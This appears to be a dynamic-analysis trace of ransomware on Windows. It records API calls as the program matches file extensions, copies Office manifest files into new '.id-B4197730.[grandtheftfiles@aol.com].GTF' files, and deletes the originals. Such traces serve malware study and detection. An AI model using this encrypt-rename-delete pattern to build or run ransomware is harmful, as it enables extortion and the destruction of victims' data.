	[0075.865] lstrlenW (lpString=".xlsx") returned 5
	[0075.865] lstrcmpiW (lpString1=".xlsx", lpString2="E.xml") returned -1
	[0075.865] lstrlenW (lpString=".ppt") returned 4
	[0075.865] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1
	[0075.865] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0016-0000-1000-0000000FF1CE.xml") returned 104
	[0075.865] lstrlenW (lpString=".zip") returned 4
	[0075.865] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1
	[0075.865] lstrlenW (lpString=".rar") returned 4
	[0075.865] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1
	[0075.865] lstrlenW (lpString=".bz2") returned 4
	[0075.865] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1
	[0075.865] lstrlenW (lpString=".7z") returned 3
	[0075.865] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1
	[0075.865] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0016-0000-1000-0000000FF1CE.xml") returned 104
	[0075.865] lstrlenW (lpString=".dbf") returned 4
	[0075.865] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1
	[0075.865] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0016-0000-1000-0000000FF1CE.xml") returned 104
	[0075.865] lstrlenW (lpString=".1cd") returned 4
	[0075.865] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1
	[0075.865] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0016-0000-1000-0000000FF1CE.xml") returned 104
	[0075.865] lstrlenW (lpString=".jpg") returned 4
	[0075.865] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1
	[0075.865] lstrcmpiW (lpString1=".xml", lpString2=".GTF") returned 1
	[0075.865] lstrlenW (lpString="AppXManifest.90160000-001B-0409-1000-0000000FF1CE.xml") returned 53
	[0075.865] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001B-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-001b-0409-1000-0000000ff1ce.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380
	[0075.866] GetFileSizeEx (in: hFile=0x380, lpFileSize=0x265ff14 | out: lpFileSize=0x265ff14*=1261) returned 1
	[0075.866] CloseHandle (hObject=0x380) returned 1
	[0075.866] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001B-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-001b-0409-1000-0000000ff1ce.xml")) returned 0x220
	[0075.866] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001B-0409-1000-0000000FF1CE.xml.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-001b-0409-1000-0000000ff1ce.xml.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0075.866] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001B-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-001b-0409-1000-0000000ff1ce.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380
	[0075.866] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1
	[0075.866] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1
	[0075.866] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001B-0409-1000-0000000FF1CE.xml.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-001b-0409-1000-0000000ff1ce.xml.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390
	[0075.867] GetLastError () returned 0x0
	[0075.867] ReadFile (in: hFile=0x380, lpBuffer=0x2ea0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x265fecc, lpOverlapped=0x0 | out: lpBuffer=0x2ea0020*, lpNumberOfBytesRead=0x265fecc*=0x4ed, lpOverlapped=0x0) returned 1
	[0075.871] WriteFile (in: hFile=0x390, lpBuffer=0x2ea0020*, nNumberOfBytesToWrite=0x4f0, lpNumberOfBytesWritten=0x265fc94, lpOverlapped=0x0 | out: lpBuffer=0x2ea0020*, lpNumberOfBytesWritten=0x265fc94*=0x4f0, lpOverlapped=0x0) returned 1
	[0075.872] ReadFile (in: hFile=0x380, lpBuffer=0x2ea0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x265fecc, lpOverlapped=0x0 | out: lpBuffer=0x2ea0020*, lpNumberOfBytesRead=0x265fecc*=0x0, lpOverlapped=0x0) returned 1
	[0075.872] WriteFile (in: hFile=0x390, lpBuffer=0x2ea0020*, nNumberOfBytesToWrite=0x13e, lpNumberOfBytesWritten=0x265fc94, lpOverlapped=0x0 | out: lpBuffer=0x2ea0020*, lpNumberOfBytesWritten=0x265fc94*=0x13e, lpOverlapped=0x0) returned 1
	[0075.872] SetEndOfFile (hFile=0x390) returned 1
	[0075.873] CloseHandle (hObject=0x390) returned 1
	[0075.874] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1
	[0075.874] SetEndOfFile (hFile=0x380) returned 1
	[0075.874] CloseHandle (hObject=0x380) returned 1
	[0075.875] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001B-0409-1000-0000000FF1CE.xml.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0075.875] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001B-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-001b-0409-1000-0000000ff1ce.xml")) returned 1
	[0075.875] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001B-0409-1000-0000000FF1CE.xml") returned 104
	[0075.875] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001B-0409-1000-0000000FF1CE.xml") returned 104
	[0075.875] lstrlenW (lpString=".doc") returned 4
	[0075.875] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1
	[0075.875] lstrlenW (lpString=".docx") returned 5
	[0075.876] lstrcmpiW (lpString1=".docx", lpString2="E.xml") returned -1
	[0075.876] lstrlenW (lpString=".pdf") returned 4
	[0075.876] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1
	[0075.876] lstrlenW (lpString=".xls") returned 4
	[0075.876] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1
	[0075.876] lstrlenW (lpString=".xlsx") returned 5
	[0075.876] lstrcmpiW (lpString1=".xlsx", lpString2="E.xml") returned -1
	[0075.876] lstrlenW (lpString=".ppt") returned 4
	[0075.876] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1
	[0075.876] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001B-0409-1000-0000000FF1CE.xml") returned 104
	[0075.876] lstrlenW (lpString=".zip") returned 4
	[0075.876] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1
	[0075.876] lstrlenW (lpString=".rar") returned 4
	[0075.876] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1
	[0075.876] lstrlenW (lpString=".bz2") returned 4
	[0075.876] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1
	[0075.876] lstrlenW (lpString=".7z") returned 3
	[0075.876] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1
	[0075.876] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001B-0409-1000-0000000FF1CE.xml") returned 104
	[0075.876] lstrlenW (lpString=".dbf") returned 4
	[0075.876] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1
	[0075.876] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001B-0409-1000-0000000FF1CE.xml") returned 104
	[0075.876] lstrlenW (lpString=".1cd") returned 4
	[0075.876] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1
	[0075.876] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001B-0409-1000-0000000FF1CE.xml") returned 104
	[0075.876] lstrlenW (lpString=".jpg") returned 4
	[0075.876] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1
	[0075.876] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001B-0409-1000-0000000FF1CE.xml") returned 104
	[0075.876] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001B-0409-1000-0000000FF1CE.xml") returned 104
	[0075.876] lstrlenW (lpString=".doc") returned 4
	[0075.876] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1
	[0075.876] lstrlenW (lpString=".docx") returned 5
	[0075.876] lstrcmpiW (lpString1=".docx", lpString2="E.xml") returned -1
	[0075.876] lstrlenW (lpString=".pdf") returned 4
	[0075.876] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1
	[0075.877] lstrlenW (lpString=".xls") returned 4
	[0075.877] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1
	[0075.877] lstrlenW (lpString=".xlsx") returned 5
	[0075.877] lstrcmpiW (lpString1=".xlsx", lpString2="E.xml") returned -1
	[0075.877] lstrlenW (lpString=".ppt") returned 4
	[0075.877] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1
	[0075.877] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001B-0409-1000-0000000FF1CE.xml") returned 104
	[0075.877] lstrlenW (lpString=".zip") returned 4
	[0075.877] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1
	[0075.877] lstrlenW (lpString=".rar") returned 4
	[0075.877] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1
	[0075.877] lstrlenW (lpString=".bz2") returned 4
	[0075.877] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1
	[0075.877] lstrlenW (lpString=".7z") returned 3
	[0075.877] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1
	[0075.877] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001B-0409-1000-0000000FF1CE.xml") returned 104
	[0075.877] lstrlenW (lpString=".dbf") returned 4
	[0075.877] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1
	[0075.877] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001B-0409-1000-0000000FF1CE.xml") returned 104
	[0075.877] lstrlenW (lpString=".1cd") returned 4
	[0075.877] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1
	[0075.877] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001B-0409-1000-0000000FF1CE.xml") returned 104
	[0075.877] lstrlenW (lpString=".jpg") returned 4
	[0075.877] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1
	[0075.877] lstrcmpiW (lpString1=".xml", lpString2=".GTF") returned 1
	[0075.877] lstrlenW (lpString="AppXManifest.90160000-001F-0409-1000-0000000FF1CE.xml") returned 53
	[0075.877] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001F-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-001f-0409-1000-0000000ff1ce.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380
	[0075.878] GetFileSizeEx (in: hFile=0x380, lpFileSize=0x265ff14 | out: lpFileSize=0x265ff14*=1261) returned 1
	[0075.878] CloseHandle (hObject=0x380) returned 1
	[0075.878] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001F-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-001f-0409-1000-0000000ff1ce.xml")) returned 0x220
	[0075.878] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001F-0409-1000-0000000FF1CE.xml.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-001f-0409-1000-0000000ff1ce.xml.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0075.878] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001F-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-001f-0409-1000-0000000ff1ce.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380
	[0075.878] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1
	[0075.878] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1
	[0075.878] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001F-0409-1000-0000000FF1CE.xml.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-001f-0409-1000-0000000ff1ce.xml.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390
	[0075.878] GetLastError () returned 0x0
	[0075.878] ReadFile (in: hFile=0x380, lpBuffer=0x2ea0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x265fecc, lpOverlapped=0x0 | out: lpBuffer=0x2ea0020*, lpNumberOfBytesRead=0x265fecc*=0x4ed, lpOverlapped=0x0) returned 1
	[0075.880] WriteFile (in: hFile=0x390, lpBuffer=0x2ea0020*, nNumberOfBytesToWrite=0x4f0, lpNumberOfBytesWritten=0x265fc94, lpOverlapped=0x0 | out: lpBuffer=0x2ea0020*, lpNumberOfBytesWritten=0x265fc94*=0x4f0, lpOverlapped=0x0) returned 1
	[0075.881] ReadFile (in: hFile=0x380, lpBuffer=0x2ea0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x265fecc, lpOverlapped=0x0 | out: lpBuffer=0x2ea0020*, lpNumberOfBytesRead=0x265fecc*=0x0, lpOverlapped=0x0) returned 1
	[0075.881] WriteFile (in: hFile=0x390, lpBuffer=0x2ea0020*, nNumberOfBytesToWrite=0x13e, lpNumberOfBytesWritten=0x265fc94, lpOverlapped=0x0 | out: lpBuffer=0x2ea0020*, lpNumberOfBytesWritten=0x265fc94*=0x13e, lpOverlapped=0x0) returned 1
	[0075.882] SetEndOfFile (hFile=0x390) returned 1
	[0075.882] CloseHandle (hObject=0x390) returned 1
	[0075.883] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1
	[0075.883] SetEndOfFile (hFile=0x380) returned 1
	[0075.883] CloseHandle (hObject=0x380) returned 1
	[0075.883] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001F-0409-1000-0000000FF1CE.xml.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0075.884] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001F-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-001f-0409-1000-0000000ff1ce.xml")) returned 1
	[0075.884] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001F-0409-1000-0000000FF1CE.xml") returned 104
	[0075.884] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001F-0409-1000-0000000FF1CE.xml") returned 104
	[0075.884] lstrlenW (lpString=".doc") returned 4
	[0075.884] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1
	[0075.884] lstrlenW (lpString=".docx") returned 5
	[0075.884] lstrcmpiW (lpString1=".docx", lpString2="E.xml") returned -1
	[0075.884] lstrlenW (lpString=".pdf") returned 4
	[0075.884] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1
	[0075.884] lstrlenW (lpString=".xls") returned 4
	[0075.884] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1
	[0075.884] lstrlenW (lpString=".xlsx") returned 5
	[0075.884] lstrcmpiW (lpString1=".xlsx", lpString2="E.xml") returned -1
	[0075.884] lstrlenW (lpString=".ppt") returned 4
	[0075.884] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1
	[0075.884] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001F-0409-1000-0000000FF1CE.xml") returned 104
	[0075.884] lstrlenW (lpString=".zip") returned 4
	[0075.884] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1
	[0075.884] lstrlenW (lpString=".rar") returned 4
	[0075.884] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1
	[0075.884] lstrlenW (lpString=".bz2") returned 4
	[0075.885] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1
	[0075.885] lstrlenW (lpString=".7z") returned 3
	[0075.885] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1
	[0075.885] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001F-0409-1000-0000000FF1CE.xml") returned 104
	[0075.885] lstrlenW (lpString=".dbf") returned 4
	[0075.885] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1
	[0075.885] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001F-0409-1000-0000000FF1CE.xml") returned 104
	[0075.885] lstrlenW (lpString=".1cd") returned 4
	[0075.885] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1
	[0075.885] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001F-0409-1000-0000000FF1CE.xml") returned 104
	[0075.885] lstrlenW (lpString=".jpg") returned 4
	[0075.885] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1
	[0075.885] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001F-0409-1000-0000000FF1CE.xml") returned 104
	[0075.885] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001F-0409-1000-0000000FF1CE.xml") returned 104
	[0075.885] lstrlenW (lpString=".doc") returned 4
	[0075.885] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1
	[0075.885] lstrlenW (lpString=".docx") returned 5
	[0075.885] lstrcmpiW (lpString1=".docx", lpString2="E.xml") returned -1
	[0075.885] lstrlenW (lpString=".pdf") returned 4
	[0075.885] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1
	[0075.885] lstrlenW (lpString=".xls") returned 4
	[0075.885] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1
	[0075.885] lstrlenW (lpString=".xlsx") returned 5
	[0075.885] lstrcmpiW (lpString1=".xlsx", lpString2="E.xml") returned -1
	[0075.885] lstrlenW (lpString=".ppt") returned 4
	[0075.885] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1
	[0075.885] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001F-0409-1000-0000000FF1CE.xml") returned 104
	[0075.885] lstrlenW (lpString=".zip") returned 4
	[0075.885] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1
	[0075.885] lstrlenW (lpString=".rar") returned 4
	[0075.885] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1
	[0075.885] lstrlenW (lpString=".bz2") returned 4
	[0075.885] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1
	[0075.885] lstrlenW (lpString=".7z") returned 3
	[0075.885] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1
	[0075.885] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001F-0409-1000-0000000FF1CE.xml") returned 104
	[0075.885] lstrlenW (lpString=".dbf") returned 4
	[0075.886] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1
	[0075.886] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001F-0409-1000-0000000FF1CE.xml") returned 104
	[0075.886] lstrlenW (lpString=".1cd") returned 4
	[0075.886] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1
	[0075.886] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001F-0409-1000-0000000FF1CE.xml") returned 104
	[0075.886] lstrlenW (lpString=".jpg") returned 4
	[0075.886] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1
	[0075.886] lstrcmpiW (lpString1=".xml", lpString2=".GTF") returned 1
	[0075.886] lstrlenW (lpString="AppXManifest.90160000-001F-040C-1000-0000000FF1CE.xml") returned 53
	[0075.886] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001F-040C-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-001f-040c-1000-0000000ff1ce.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380
	[0075.886] GetFileSizeEx (in: hFile=0x380, lpFileSize=0x265ff14 | out: lpFileSize=0x265ff14*=2147) returned 1
	[0075.886] CloseHandle (hObject=0x380) returned 1
	[0075.886] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001F-040C-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-001f-040c-1000-0000000ff1ce.xml")) returned 0x220
	[0075.886] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001F-040C-1000-0000000FF1CE.xml.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-001f-040c-1000-0000000ff1ce.xml.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0075.887] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001F-040C-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-001f-040c-1000-0000000ff1ce.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380
	[0075.887] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1
	[0075.887] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1
	[0075.887] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001F-040C-1000-0000000FF1CE.xml.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-001f-040c-1000-0000000ff1ce.xml.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390
	[0075.887] GetLastError () returned 0x0
	[0075.887] ReadFile (in: hFile=0x380, lpBuffer=0x2ea0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x265fecc, lpOverlapped=0x0 | out: lpBuffer=0x2ea0020*, lpNumberOfBytesRead=0x265fecc*=0x863, lpOverlapped=0x0) returned 1
	[0075.889] WriteFile (in: hFile=0x390, lpBuffer=0x2ea0020*, nNumberOfBytesToWrite=0x870, lpNumberOfBytesWritten=0x265fc94, lpOverlapped=0x0 | out: lpBuffer=0x2ea0020*, lpNumberOfBytesWritten=0x265fc94*=0x870, lpOverlapped=0x0) returned 1
	[0075.889] ReadFile (in: hFile=0x380, lpBuffer=0x2ea0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x265fecc, lpOverlapped=0x0 | out: lpBuffer=0x2ea0020*, lpNumberOfBytesRead=0x265fecc*=0x0, lpOverlapped=0x0) returned 1
	[0075.890] WriteFile (in: hFile=0x390, lpBuffer=0x2ea0020*, nNumberOfBytesToWrite=0x13e, lpNumberOfBytesWritten=0x265fc94, lpOverlapped=0x0 | out: lpBuffer=0x2ea0020*, lpNumberOfBytesWritten=0x265fc94*=0x13e, lpOverlapped=0x0) returned 1
	[0075.890] SetEndOfFile (hFile=0x390) returned 1
	[0075.890] CloseHandle (hObject=0x390) returned 1
	[0075.891] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1
	[0075.891] SetEndOfFile (hFile=0x380) returned 1
	[0075.892] CloseHandle (hObject=0x380) returned 1
	[0075.892] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001F-040C-1000-0000000FF1CE.xml.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0075.892] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001F-040C-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-001f-040c-1000-0000000ff1ce.xml")) returned 1
	[0075.893] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001F-040C-1000-0000000FF1CE.xml") returned 104
	[0075.893] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001F-040C-1000-0000000FF1CE.xml") returned 104
	[0075.893] lstrlenW (lpString=".doc") returned 4
	[0075.893] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1
	[0075.893] lstrlenW (lpString=".docx") returned 5
	[0075.893] lstrcmpiW (lpString1=".docx", lpString2="E.xml") returned -1
	[0075.893] lstrlenW (lpString=".pdf") returned 4
	[0075.893] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1
	[0075.893] lstrlenW (lpString=".xls") returned 4
	[0075.893] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1
	[0075.893] lstrlenW (lpString=".xlsx") returned 5
	[0075.893] lstrcmpiW (lpString1=".xlsx", lpString2="E.xml") returned -1
	[0075.893] lstrlenW (lpString=".ppt") returned 4
	[0075.893] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1
	[0075.893] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001F-040C-1000-0000000FF1CE.xml") returned 104
	[0075.893] lstrlenW (lpString=".zip") returned 4
	[0075.893] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1
	[0075.893] lstrlenW (lpString=".rar") returned 4
	[0075.893] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1
	[0075.893] lstrlenW (lpString=".bz2") returned 4
